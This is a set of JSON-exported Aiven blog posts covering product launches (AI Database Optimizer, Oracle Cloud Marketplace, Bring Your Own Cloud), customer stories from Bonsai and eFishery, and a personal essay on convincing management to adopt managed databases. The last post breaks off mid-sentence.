experience it for yourself in any [Aiven for PostgreSQL](https://aiven.io/postgresql) service for free during the Early Availability phase. Simply navigate to the “AI Insights” tab. \n\n[Try it now](https://console.aiven.io/signup) or [Contact us](https://aiven.io/book-demo) today to check it out!\n","categories":[{"_key":"978bfc6f3afd","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"dcf868fb6560","_ref":"7fac76c7-74bf-44f8-8ec0-ea262286d712","_type":"reference"},{"_key":"3f7ba3048683","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-e1b2bfdc6c1919dd9e07f96e057a5b5c491ae1da-1200x628-png","_type":"reference"}},"publishedAt":"2024-05-28T12:00:00.000Z","related":[{"_key":"b08bd15e9b99","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"},{"_key":"3da690593edf","_ref":"281f464e-64e7-4369-af86-c95bf5fe7e36","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Increase database performance by 10x with an expert, AI-driven, professional available 24/7. Find out more about the Aiven AI Database Optimizer! ","metaTitle":"Aiven’s AI Database Optimizer for Enhanced Performance"},"slug":{"_type":"slug","current":"/blog/aiven-ai-dboptimizer-launch"},"subtitle":"Increase database performance by 10x with an expert, AI-driven, professional available 24/7.","title":"Introducing Aiven's AI Database Optimizer: The First Built-In SQL Optimizer for Enhanced Performance"} {"__i18n_lang":"en","_createdAt":"2024-09-09T12:31:27Z","_id":"e547c921-8e70-47d2-a5cb-b473cb07455c","_rev":"sEwq5NBiPauorOxrhf0BrH","_type":"post","_updatedAt":"2024-11-18T11:55:53Z","authors":[{"_key":"5117eb1f9e54","_ref":"7d07d38b-059b-4829-bd63-cb448c846ce6","_type":"reference"}],"body":"We're excited to announce the Aiven Platform which offers fully managed, scalable open-source data technologies is now available on the [Oracle Cloud Marketplace](https://cloudmarketplace.oracle.com/marketplace/en_US/listing/171651353). This collaboration allows Oracle Cloud customers to effortlessly access a wide range of popular open-source data technologies, including PostgreSQL®, Apache Kafka® and OpenSearch®, with Aiven.\n\nOracle Cloud has rapidly grown into a compelling option in the cloud market, thanks to its extensive suite of products, consistent pricing, and global datacenter footprint. These strengths make it a powerful option for organizations looking to handle data workloads efficiently. Now, with Aiven’s offerings available on Oracle Cloud, customers can further enhance their Oracle Cloud experience by seamlessly integrating the most popular open-source technologies into their operations.\n\n## Enhancing Oracle Cloud with Aiven\n\nBy incorporating Aiven's services, Oracle Cloud customers gain the ability to adopt industry-leading open-source technologies with full management, scalability, and compliance, enabling organizations globally to drive new business opportunities, enhance user experiences, accelerate business outcomes, and reduce risks and costs.\n\nThe addition of Aiven’s data and AI platform on Oracle Cloud Marketplace empowers organizations to expand their cloud strategy. Customers can now easily manage and maintain their data infrastructure with the powerful capabilities of Aiven's technology. This collaboration ensures that Oracle Cloud customers can launch fully managed clusters in their preferred region with just a few clicks, making it easier than ever to benefit from the flexibility, transparency and cost-effectiveness of open source technologies, allowing them to focus on innovation and business growth.\n\nWith Aiven now available on Oracle Cloud Marketplace, customers will be able to effortlessly deploy and scale services, ensuring that they run reliably and securely. The platform supports seamless integration with other Oracle services, such as Oracle Object Storage and Oracle Cloud Infrastructure Monitoring. It will also offer simplified access and centralized billing and enable customers to leverage their existing commitments with Oracle while expanding their technology stack with Aiven’s offerings, further enhancing their cloud capabilities.\n\nTo learn more about Aiven on Oracle Cloud Marketplace, you can visit our listing [here](https://cloudmarketplace.oracle.com/marketplace/en_US/listing/171651353).","categories":[{"_key":"f5c3d88a2160","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-74b1ac8acf75279b8565df7c6e723a96783976e0-1200x630-jpg","_type":"reference"}},"publishedAt":"2024-09-11T13:00:00.000Z","related":[{"_key":"3a0585d41b2b","_ref":"1408bc7f-be88-4390-a8b0-2b1e157f6fbe","_type":"reference"},{"_key":"5053d58db010","_ref":"3c62d57c-a82b-416e-b33e-a49fadcaec1d","_type":"reference"},{"_key":"8b7de04db517","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven Platform Now Available on Oracle Cloud Marketplace"},"slug":{"_type":"slug","current":"/blog/aiven-expands-oracle-cloud-marketplace-offering"},"subtitle":"The Aiven Platform with fully managed, scalable open source data technologies is now available on Oracle Cloud Marketplace.","title":"Aiven Expands Oracle Cloud Marketplace Offering with Popular Open Source Data Technologies"} {"__i18n_lang":"en","_createdAt":"2023-05-23T08:58:41Z","_id":"3e8182c9-5554-4307-8e5f-97e22155fa7a","_rev":"h4ancfFTuSnQNBSq3Fy1KO","_type":"post","_updatedAt":"2024-11-18T11:58:25Z","authors":[{"_key":"9b4a4997ca10","_ref":"21826e5e-978d-4861-aac3-716443cd9095","_type":"reference"}],"body":"According to Gartner, worldwide spending on public cloud services will grow 20.7% to total \\$591.8 billion in 2023, up from \\$490.3 billion in 2022. Given the continued growth in usage of the cloud among large organizations, it is unsurprising that many enterprises take advantage of discount plans such as AWS Savings Plans or Google Cloud Committed Use Discounts to optimize their cloud spend. AWS Savings Plans can provide up to a 72% discount in comparison to On-Demand prices in exchange for a commitment to using their cloud infrastructure services for up to three years. \n\nWhile these discount plans can save enterprises money, many companies are concerned about the long term commitment and the potential to lose flexibility in the control of their data. This is especially pertinent for companies in regulated industries like healthcare or finance, as there can be strict requirements for the data to stay on infrastructure that they control at all times. \n\nAiven has always partnered with our customers to help them optimize their cloud spend. More than five years ago, we deployed the first custom account setup, enabling one of our large eCommerce customers to create managed Aiven services directly within their public cloud account. As a result, this customer was able to fulfill their long-term financial commitment with their cloud infrastructure provider, while at the same time having the flexibility and choice to benefit from Aiven’s services, including Apache Kafka®, PostgreSQL® and OpenSearch®.\n\nWith the increasing popularity of the custom account setup program, we are now pleased to announce general availability of Aiven’s Bring Your Own Cloud (BYOC). BYOC allows customers to deploy Aiven services directly into their own public cloud account - and enjoy the Aiven service experience across all 11 of the open source services that we provide.\n\n\u003e\"One of the reasons why we moved to Aiven, as opposed to other solutions that we looked at, is that Aiven allowed us to run the services in our own cloud in our own infrastructure” Dups Wijayawardhana, CTO at Supermetrics\n\n## How Bring Your Own Cloud works\n\nAiven’s BYOC connects a customer’s own AWS, Google Cloud or Microsoft Azure VPC to the Aiven platform, making it possible to deploy Aiven services directly to their own cloud account. This means that all compute, storage and networking infrastructure services - and associated costs - remain under a customer’s direct control. \n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/ba274c2e87b0162561467501b9e271bd96a2cb25-1920x793.png?w=450)\n\nThe managed Aiven experience is identical to a standard Aiven deployment. The Aiven console, CLI, REST API, and Terraform provision and manage services just as they would normally: tasks like scaling a service up or down and performing a version upgrade are as easy in a BYOC deployment as they are otherwise. Aiven also monitors the health of the services, takes regular backups and provides the same 99.99% uptime SLA and security certifications as with standard Aiven services.\n\nTo learn more about how BYOC works and the different options available, please check [the documentation](https://aiven.io/docs/platform/concepts/byoc). \n\nHere are some frequently asked questions about BYOC, together with their answers, of course: \n\n- **How is Aiven prevented from accessing my infrastructure?**\nIn a BYOC deployment, you create a Virtual Private Cloud (VPC) dedicated to Aiven services within each region you want to operate. You control the connectivity between this VPC and your other VPCs. Aiven accesses these dedicated VPCs through a proxy in a DMZ for additional security and control. \n \n- **How does BYOC help me to meet my compliance requirements?**\nIn most cases you can meet your regulatory and compliance requirements by utilizing a standard Aiven deployment or [Enhanced Compliance Environment](https://aiven.io/docs/platform/concepts/enhanced-compliance-env). However, if you have special compliance needs, BYOC gives you more control of the data residency and allows you to layer additional security controls on top of Aiven’s existing controls. \n\n- **Standard Aiven pricing includes networking cost. How about BYOC? Do I have to pay the networking cost?**\nYes, BYOC customers are responsible for all cloud infrastructure related costs. This includes compute, storage and network traffic charges.\n\n- **How can you guarantee SLA when the infrastructure is not directly managed by Aiven?**\nThe self-healing Aiven platform works the same way in BYOC deployments as in standard Aiven deployments. The Aiven SRE team also manages BYOC deployments the same way, with regular health checks, backups, service maintenance and patching. If downtime is caused by factors outside of Aiven’s reasonable control, this is not taken into account when calculating the Monthly Uptime Percentage\n\n- **If Aiven provides a managed service inside my cloud account, what, if any, responsibilities do I have?**\nAiven’s BYOC deployment follows a shared responsibility model. In this model, Aiven and the customer share the responsibility for the availability, security and compliance, and ongoing operation of the solution. Aiven defines the service management and delivery infrastructure, and provides service deployment, management and lifecycle services. We ensure our services are secure and resilient, and we support all services. In a BYOC deployment, you are responsible for setting and managing account and resource permissions, monitoring resource quotas and scalability, maintaining security and compliance of your cloud environment, and ensuring that your services are resilient and tested regularly.\n\n\n## The benefits of Bring Your Own Cloud\n\nBYOC is beneficial for customers who have favorable purchasing agreements for cloud infrastructure, or specific requirements for security and control. For others, the standard Aiven model of deploying services into the Aiven account in the desired cloud and region will generally be the best fit as Aiven takes care of all the costs and complexity of configuring the cloud infrastructure.\n\n### Lower total cost of ownership\n\nDepending on the cloud provider, Aiven’s BYOC can unlock the opportunity to use Cost Savings plans, Committed Use Discounts, and several other billing and pricing features that may enable you to save money on compute, networking and storage infrastructure costs. As you aggregate more spend directly with your provider, you may also be able to accelerate your spend and achieve a higher tier of usage, making you eligible for additional enterprise discounts from the hyper-scale cloud provider. \n\nFor instance, one of our eCommerce customers wanted to optimize their cloud costs by using AWS Cost Savings Plans for their event streaming platform. However, they were concerned about committing both infrastructure and data streaming to a single vendor. By adopting Aiven for Apache Kafka® and the BYOC deployment model, they were able to achieve 20% cost savings while retaining flexibility and maintaining control over their data. \n\n### Keeping your data under your control\n\n\u003e\"Aiven allowed us to keep control of our data, while enjoying the benefits of a managed service\" Diogo Gomes, Cloud Transformation \u0026 Database Manager at La Redoute\n\nWith BYOC, your data always stays in your own cloud infrastructure, but you don’t need to worry about managing and keeping the data infrastructure up and running. You can layer additional security controls, specific to your region or industry within the cloud provider, on top of Aiven’s existing security controls and compliance standards. \n\nAn Aiven customer in the financial sector was certain they would have to self-manage their data infrastructure to be compliant with regulations. After a careful evaluation of the BYOC deployment model and security features, they were happy to find that they could enjoy the benefits of a managed service while keeping the necessary control of their data. \n\n## Getting started\n\nBYOC deployment option is available to new and existing customers with an enterprise support contract and a minimum monthly spend of \\$5000. It can be deployed on AWS, Google Cloud and Microsoft Azure cloud platforms. \n\nIf this sounds interesting and you want to learn more, check our \"Achieve lower TCO and keep full control of your data with Aiven’s Bring Your Own Cloud\" [webinar](https://aiven.io/webinar/byoc) or get in touch [with us](https://aiven.io/contact)\n\n","categories":[{"_key":"72fb424c201b","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"80b8d7cabdcd","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"862e6ea162a5","_ref":"9yQ4jxpUoNWbSOSWYlghM","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-3bbf9b819d5e35e89ea61ffbdb6fcd38874037a2-1567x844-jpg","_type":"reference"}},"publishedAt":"2023-05-31T11:00:00.000Z","related":[{"_key":"3ad6beb66d73","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"ea5ae08d9f04","_ref":"f199e025-baca-4d0a-a3ae-a8a246e01b6d","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Cut Cloud Costs with Aiven’s BYOC Solution"},"slug":{"_type":"slug","current":"/blog/optimize-your-cloud-data-infrastructure-spend-with-byoc"},"subtitle":"Achieve lower TCO and keep full control of your data with Aiven’s Bring Your Own Cloud deployment option","title":"Optimize your cloud data infrastructure spend with Aiven’s Bring Your Own Cloud (BYOC)"} {"__i18n_lang":"en","_createdAt":"2023-09-13T07:57:35Z","_id":"06af38ab-add6-4fb5-b005-2c4af2118f25","_rev":"h4ancfFTuSnQNBSq3FxYG4","_type":"post","_updatedAt":"2024-11-18T11:53:37Z","authors":[{"_key":"a9bb6c49a932","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Founded in 2016, [Bonsai](https://shopbonsai.ca/) is an e-commerce platform trusted by elite publishers and retailers across North America and Europe. Its discovery commerce technology allows users to purchase a product within the content they love. When the Bonsai product catalog expanded from a couple of thousand products on small Shopify stores to millions of products, receiving constant updates, the company turned to Aiven for an automated, event-driven data architecture on Google Cloud using Aiven's managed services. \n \nAlan Scott, Commercial Account Executive at Aiven, recently spoke to Brent Van Geertruy, Director of Engineering at Bonsai as part of a webinar hosted by C2C, the Google Cloud Customer Community. They talked about the key drivers, challenges and achievements in building data pipelines for Bonsai's millions of data points. Here are some of the extracts from that conversation.\n\n**Alan Scott: Tell us about Bonsai.**\n\n**Brent Van Geertruy:** We’re a tech company providing onsite check out so consumers can buy when purchasing intent is being formed. We use various integration methods like APIs, pre-built UI components and product feeds that power our catalog which currently consists of millions of products from over 400 retailers, including Best Buy. We service partners who provide us with products, partners who are using our catalog, our API or UI product, and we also have customers who view and purchase those products. \n \n**Alan Scott: What problem were you trying to solve when you started using Aiven?**\n\n**Brent Van Geertruy:** Over the past couple of years, our product catalogue has grown from a couple of thousand products on small Shopify stores to millions of products. This requires an immense number of updates every day, from price changes to inventory updates.\n \nWe have our own custom dashboard that we built and maintain. It’s used to perform order fulfillment and manage merchants, clients and our product catalogue. A couple of years ago, we often didn’t receive high-quality product information from the smaller merchants. Our internal team had to check every product and manually review everything from product description to color to ensure they aligned with our design. This was simply not scalable or sustainable. \n \nWe initially started researching event-driven systems as we had an extensive monolithic application where importing a product was almost 20 synchronous steps long. One of the first challenges we needed to tackle was image uploads. Every time a product gets ingested, we have to upload the image onto our servers. We couldn’t rely on the merchant image URLs because they often get blocked or won’t allow image manipulation. Imagine a feed of just a thousand products, or even a hundred thousand products! Every time that happened, our entire pipeline would get congested waiting for the image upload to be completed. \n \nWe started using Aiven for Apache Kafka® to make it less synchronous and to take more of an event-driven approach. We are also leveraging Kafka using an Aiven connector to MongoDB for generating feeds. Instead of manually indicating anything has changed to a product and updating a feed, we’re using the MongoDB connector to wait for product changes and automatically move that into our export system. Setting this up through Aiven was easy. And from an infrastructure perspective, it’s great that we can use the Aiven Terraform provider, as that’s how we like to set up all our services. \n\n![Aiven + Bonsai Social Banner Brent](//cdn.sanity.io/images/sczeoy4w/production/1df4e3532ec0a5c2d59e0fe05b00b7b028e06c6e-1200x628.png)\n\n**Alan Scott: Tell us more about the shift from monolithic to event-driven architecture.**\n \n**Brent Van Geertruy:** Our team has been discussing event-driven architecture for years. It was seen as the holy grail to solve all problems when scaling applications. There was also a lot of buzz about it, especially when Netflix highlighted how they were using it. \n \nHowever, our application already contained a large amount of logic, was very coupled and synchronous, and there was technical debt from historical experiments dating back five years. This meant that any more extensive reworks were always deprioritized in favor of incoming client customization requests. \n \nWe finally started using Kafka because of increased API usage — the product had a clear market fit and we wanted to expand further. As we were able to provide some maturity into our product offering, we could carve out time for tackling technical debt and focusing on reworking larger pieces of our ecosystem. We had several sessions with senior developers to establish what the perfect world would look like, what the bottlenecks were now and if an event-driven approach could resolve them. We chose event-driven but through a transition, not an entire rework from monolith to event. \n \n**Alan Scott: What were your criteria when you chose Aiven?**\n \n**Brent Van Geertruy:** We’ve often chosen tools with usage-based billing and always started with minor costs. However, if it relates to our product pipeline, where we’re processing millions of updates daily, this cost quickly balloons. Price transparency was one of the reasons we chose Aiven. Also, Google is our primary cloud provider, so it was really easy to get started on the platform with the Google Cloud integration through Google marketplace. The Aiven team provides excellent support, and we wanted a vendor with expertise outside of Kafka. We also use Aiven for Caching, a managed, in-memory NoSQL database. Getting it from the same provider as Kafka and through our GCP billing makes it much easier. \n\n**Alan Scott: What are your key learnings?**\n\n**Brent Van Geertruy:** The initial proposal was to turn everything into an event-driven system — then we realized how much effort it would take, especially for a start-up. Instead, we started measuring the system, identifying the bottlenecks and tackling them in a more agile way. When you fix one bottleneck, another will often pop up. \n\nA notable example is when we switched from uploading product images synchronously to using events into an asynchronous way. We solved the problem of images blocking our pipeline but immediately ran into the issue of our product pipeline being unable to handle the incoming products' speed. Essentially, the slowness of uploading product images had kept our pipeline slow and steady. Once we took that out of the equation, other places started to feel the load, which we’ve now also improved. So a big takeaway was, rather than do a significant overhaul, it’s better to tackle it bottleneck by bottleneck, considering the higher-level architecture plan. \n\nCheck you the full webinar: https://aiven.io/webinar/building-real-time-event-streaming-engines \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"f0503c73-74fe-41a3-a080-93a4338dcc9f","_type":"reference"},"ctaText":"Read the blog","previewImage":{"_type":"mainImage","asset":{"_ref":"image-36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Career Story, Use Case, Apache Kafka Use Case, Aiven for Apache Kafka Example, Aiven for Apache Kafka, Apache Kafka, Google Cloud, C2C","asset":{"_ref":"image-36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-14T05:27:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"1f58fbb078ac","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Data challenges resulting from expanding product catalog solved with Aiven for Apache Kafka® on Google Cloud","metaImage":{"_type":"mainImage","asset":{"_ref":"image-36cfd46a445c71dc7cc3966addb2681b08705da3-1200x628-png","_type":"reference"}},"metaTitle":"Bonsai Adopts Aiven’s Event-Driven Architecture"},"slug":{"_type":"slug","current":"/blog/bonsai-turns-to-aiven"},"subtitle":"Data challenges resulting from expanding product catalog solved with Aiven for Apache Kafka® on Google Cloud","title":"Bonsai Turns to Aiven for Automated Event-Driven Architecture to Handle Millions of Data Points"} {"__i18n_lang":"en","_createdAt":"2023-09-11T12:55:59Z","_id":"b70596e2-6544-4413-943e-3cf572972fe0","_rev":"h4ancfFTuSnQNBSq3FxfWe","_type":"post","_updatedAt":"2024-11-18T11:54:40Z","authors":[{"_key":"a9bb6c49a932","_ref":"8b63e97a-d735-44c8-9851-11281a0f3e11","_type":"reference"}],"body":"Is a software engineering an art or a science? Arif Rakham, Technical Lead and Senior Software Engineer within the Enterprise Platform Team at eFishery, is convinced that it is both. “Yes of course it is rooted in engineering and computer science, but you need all of your creativity to build something useful,” he explained at a recent Aiven open-source data infrastructure Meetup in Jakarta.\n\nCreating something useful is exactly what eFishery does. It’s a fast-growing, tech-enabled unicorn with a mission to build a sustainable, integrated value chain for Indonesia’s shrimp- and fish-farming businesses — and so strengthen global food security. \n\neFishery has developed an auto-feeding system based on Internet of Things technology, as well as an enterprise platform that includes marketplaces for selling fish and shrimp feed to farmers, fresh fish and shrimp products to B2B consumers, and financial products for fish farmers. \n\n![Social Banner eFishery Arif](//cdn.sanity.io/images/sczeoy4w/production/401adbba6f0e53ec4d6470325609a44b55aa81fa-1200x628.png)\n\n## A passion for open source\nFor an idealist and a passionate promoter of the value of technology and open source, eFishery has been the perfect place for Arif to flex his creativity and utilize his deep knowledge of software design, distributed systems and open source technologies such as PostgreSQL® and Apache Kafka®.\n\nArif’s career trajectory to date is impressive. In addition to working as an Oracle Database Administrator for two years, he has held software engineering roles at private and public organizations. He joined eFishery in early 2023 where he now has responsibilty for leading a team of engineers. \n\nHis team designs, develops and maintains a range of high-quality tools and libraries for internal use at eFishery. He works closely with colleagues throughout the company so that the solutions his team develops meet their immediate needs — while also making sure that they are in line with the company’s technology roadmap and its long-term goals. \n\nAnd because eFishery is an ambitious company with big visions for the future, there’s a lot going on. “We’re driving the technical vision and shaping the direction of our enterprise platform as it continues to grow,” he says. “But we’re also developing individual solutions —we’re constantly working on something new.” \n\n## Developing new solutions\nFor example, Arif is particularly proud of a new solution for eFishery’s Risk and Anti-Fraud team. The service helps the risk team analyze transactions to detect any fraudulent activity. This kind of analysis needs to happen in real time: not just to prevent fraud, but to ensure the customer experience remains as smooth as possible. \n\n“We have lots of systems and solutions, like the Risk and Anti-Fraud service, where downtime would be really bad for our customers — and for us,” says Arif. “We use Odoo, for example, for transaction logging. Anything to do with financial processes needs to be super reliable. We need absolute confidence in it.”\n\nThat’s one of the reasons that Arif’s team uses Aiven to manage PostgreSQL and Apache Kafka on its behalf.\n\n## Building a creative tech team\n“PostgreSQL and Kafka are brilliant open source technologies. PostgreSQL was one of the first open source databases I worked on and, in a previous position, when I had to choose the stack to handle banking use cases of a virtual account generator, I went for PostgreSQL and NodeJS. I’ve also used it to move service platforms from web to mobile apps. But here at eFishery, we’re building a creative tech team. I need vendors like Aiven to keep the data infrastructure running and up to date, so my team can focus on developing the applications that eFishery needs,” he says. \n\nWith a big imagination and a thirst for original thinking, Arif is always on the lookout for disruptive technologies to spark new ideas. “I’m excited about the latest generative AI and I think it’s going to radically change software development,” he says. “I want to create AI-powered apps which make life easier for their users.”\n\nHaving observed his career achievements so far, and his ability to marry creativity with logic, no doubt that’s exactly what he’ll soon be doing. \n\n----\n\nTo get the latest news about Aiven and our services, plus a bit of extra around all things open source, [subscribe to our monthly newsletter](https://aiven.io/newsletter)! Daily news about Aiven is available on our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) feeds.\n\nIf you just want to find out about our service updates, follow our [changelog](https://aiven.io/changelog).","categories":[{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"},{"_key":"45655d240ed0","_ref":"6FWlUxDXERbtNrYX2asRv6","_type":"reference"},{"_key":"5d40c129e531","_ref":"3DG5ZYx4kaoRquQmn345yY","_type":"reference"},{"_key":"85c26e8ac0e0","_ref":"1vrpqSQEi7vREEAlHVVpOG","_type":"reference"}],"customerStoryTag":{"_type":"customerStoryTag","company":{"_ref":"8c50b7c2-97e9-4dd9-8645-0eeb310fe154","_type":"reference"},"ctaText":"Read the blog","previewImage":{"_type":"mainImage","asset":{"_ref":"image-613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628-png","_type":"reference"}}},"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Aiven Customer, Customer Story, Career Story, Use Case, Apache Kafka Use Case, Aiven for Apache Kafka Example, Aiven for Apache Kafka, Apache Kafka, Aiven for PostgreSQL, PostgreSQL","asset":{"_ref":"image-613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628-png","_type":"reference"}},"publishedAt":"2023-09-12T05:27:00.000Z","related":[{"_key":"8bf0dbfaf4f4","_ref":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_type":"reference"},{"_key":"2d8da1ee7597","_ref":"7b886c5e-716d-4605-894a-41347e6a0801","_type":"reference"},{"_key":"1f58fbb078ac","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Arif Rakham, Technical Lead and Senior Software Engineer at eFishery, shares insights into his career path and how he’s built a creative tech team","metaImage":{"_type":"mainImage","asset":{"_ref":"image-613f816fe5e6f86577f52332f25e0f820e47b79b-1200x628-png","_type":"reference"}},"metaTitle":"Aiven Supports eFishery’s Aquaculture Transformation"},"slug":{"_type":"slug","current":"/blog/aiven-helps-software-engineers-at-efishery"},"subtitle":"Arif Rakham, Technical Lead and Senior Software Engineer at eFishery, shares insights into his career path and how he’s built a creative tech team","title":"Aiven helps Software Engineers at eFishery to be Creative and Transform Indonesian Aquaculture"} {"__i18n_lang":"en","_createdAt":"2022-06-16T14:05:38Z","_id":"7aU0u7ICLy7z1A25sdRUHk","_rev":"YWHkZRhDz94HWGkESq9qua","_type":"post","_updatedAt":"2024-09-23T13:27:05Z","authors":[{"_key":"1bMDmEefhWtNoLIkrQTBSA","_ref":"1bMDmEefhWtNoLIkrQTBSA","_type":"reference"}],"body":"Before starting to work for Aiven, I was already an active Aiven user (that’s why I ended up working here). Aiven provided a very good solution to the question: how do I best run the data-oriented background services, such as databases, in a modern, automated way? But it wasn’t always so easy to make everyone else see it the same way. This article is a story about what kind of challenges I faced and what I did about them.\n\nTL;DR: the really hard part is often to get management to accept good solutions. This is especially true when the initiative comes from specialists and the decision is not purely technical. But if you can muster enough good arguments, you can... manage it. (See what I did there?)\n## Wanting to get things done\nParticularly in more established and complex organizations, it may be sometimes very difficult to have everyone agree on how things should be done. Personal factors come into play, there’s pure inertia to deal with, and sometimes also power struggles. All this makes life difficult for people who just want to get things done. \n\nSome managers are trusting and delegate real responsibility. Others are secretly suspicious that developers just want “toys to play with” and “don’t get the big picture”.\n\nAiven is a bit of an oddball. We don’t fit into people’s idea of what a cloud provider is. Aiven doesn’t host its own cloud; instead, Aiven provides a management and compatibility layer that works with multiple cloud providers. \n\nA better way to describe us would perhaps be a cloud management system, managing your cloud providers for you.\n\nWith good enough arguments for the manager level, it’s usually possible to make everyone reach the same conclusion as you already did. Sometimes the best argument is “we already did it and it’s working very well”, but then you need to do a little work to make everyone feel happy about the right solution.\n\n## The story behind the facts\nOne of the tasks in my previous job (with the [City of Helsinki](https://www.hel.fi/helsinki/fi \"City of Helsinki\")) was to produce a CI pipeline and DevOps infrastructure that the development teams could use to provision environments for testing, staging, and production on a self-service basis. The goal was to give developers full control over their environments by putting the appropriate configuration in their Github repositories.\n\nAs the Product Owner, I defined how it should all work and what should get done first. As a bonus, I was also a user of the system, so I experienced the usability at first hand. In addition, I was the tech lead for other development teams, which helped with collecting requirements. The bulk of the actual implementation work was done mainly by our friends at [Anders Innovations](https://anders.com/ \"Anders Innovations\").\n\nNot surprisingly, the technical part was not the hard one. Aiven played very well the role of a safe and efficient data storage layer, and infrastructure was managed centrally using Terraform for both Aiven and the software layer. The latter was run on Kubernetes in GCP (GKE) \u0026 Azure (AKS). \n\nWhy two different cloud providers? Because for production, the only “interoperability” requirement from upper management was to use Azure! So we ran the test environments in GCP where we could see what was going on, and production environments on Azure to make upper management happy. \n\nAiven accommodated to this design neatly by allowing us to run exactly the same kind of database service irrespective of which cloud we were using.\n\nThe hard part was to agree with management and other departments that this was a good setup. I’m not going to go much into detail about what happened in this particular project, but believe me when I tell you that the problems and solutions presented in this article are based on real experience...\n\nI've listed some of the most commonly heard objections, and my responses to them. Feel free to borrow any/all.\n## #1: “But we already have a cloud solution!”\nSometimes big organizations have a vetted cloud provider, probably one of the big ones (AWS, GCP or Azure). All cloud providers offer some kinds of hosted database solutions, so it’s easy to see why from the management point of view it doesn’t make sense to have another cloud provider for databases.\n\nThe sad truth is, the database solutions of big cloud providers are not always very thorough. Nor are they developed for highly specialised needs, such as optimizing performance for certain kinds of data. Doing data services properly is not most cloud providers’ main business, unless it’s some product of their own which is targeted at a specific customer segment. Many cloud databases don’t even offer backups out of the box. And let’s not even mention high availability, smooth failovers, rich health monitoring, and rolling upgrades. \n\nAiven provides all that, and also actually works on the cloud you’re using for other stuff. You can have the data services in the same data center(s) as the software services using them, and in the same private network too.\n\nThe big difference between data services and software services is that well designed software services are throwaway, only causing a couple of cut connections and maybe some cache misses. Data services are actually the most valuable asset of many companies. It’s always devastating to lose all of your data, and sometimes you can’t afford to lose any of it. \n\nAnd it’s not always about server failures. When you lose a lot of data by admin error (a missing WHERE clause is sometimes all it takes), having functionality for proper point-in-time recovery is indispensable. Of course, Aiven provides that for many service types.\n\nSo, data services are not just another kind of services running on the cloud. They are the most valuable thing you have, and they require specialised expertise to run properly. It might make sense for your company to just hire that expertise, but it might also make sense to use a product that has all that working correctly to start with.\n## #2. “It needs to be made easy for accounting”\nMany organisations are ordering all their services from one subcontractor just to make the accounting easier. However, it often creates problems for operations, and developers will also sometimes feel the consequences.\n\nIf your chosen vendor is AWS or GCP, you’re in luck. Aiven services can also be provisioned through the AWS and GCP marketplaces, so you get them billed as part of your main cloud provider expense. They’re more expensive that way, but hey, at least you’re keeping the accountants happy.\n\nIf that doesn’t work for you, just contact our billing. There are a lot of different options for receiving invoices, and maybe we can work out some kind of agreement with whoever usually handles your invoices.\n\n[Aiven’s pricing model](https://aiven.io/pricing \"Pricing page | Aiven website\") is built for predictability. You always know how much your monthly expense will be. So from the budgeting point of view, the only unpredictable factor is whether your service usage will grow in huge proportions so that you need to start using a more beefy plan. But dealing with that is usually a positive problem - more usage usually translates to more cash flow.\n## #3. “They’re just open source databases, so why don’t we just run it by ourselves?”\nThis is actually a pretty valid point! As is the case with all of these open source databases (and other data services too, like Kafka), they are actively trying to make life easier for users and they are pretty easy to run. \n\nOn the other hand, if you’re actually relying on these services, you really need to have people who know what to do when something goes wrong. You also need to prepare for disaster - it doesn’t help to start sorting things out when there are problems. Aiven comes with sensible defaults, and you can get different levels of support from Aiven for your data services.\n\nAiven provides the same software as the upstream open source project, not some customised version of it. So you can expect everything to work exactly the same if you migrate into or out of Aiven. \n\nIt's also viable to first run your own services for development or prototyping. When the service actually becomes valuable, it’s very easy to switch to a properly managed platform such as Aiven. Once provided by Aiven, the services can also be 